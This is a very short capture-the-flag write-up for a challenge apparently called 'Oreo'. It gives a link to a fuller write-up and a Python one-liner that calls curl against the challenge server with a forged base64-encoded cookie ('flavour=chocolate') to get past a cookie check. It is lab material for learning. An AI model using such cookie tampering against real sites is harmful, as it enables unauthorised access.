Detailed writeup [here](https://github.com/DaBaddest/CTF-Writeups/tree/master/Csisctf/Oreo)
```
python -c "from base64 import b64encode;import os; os.system('curl '+'http://chall.csivit.com:30243/ '+'--cookie flavour='+b64encode(b'chocolate').decode())"
```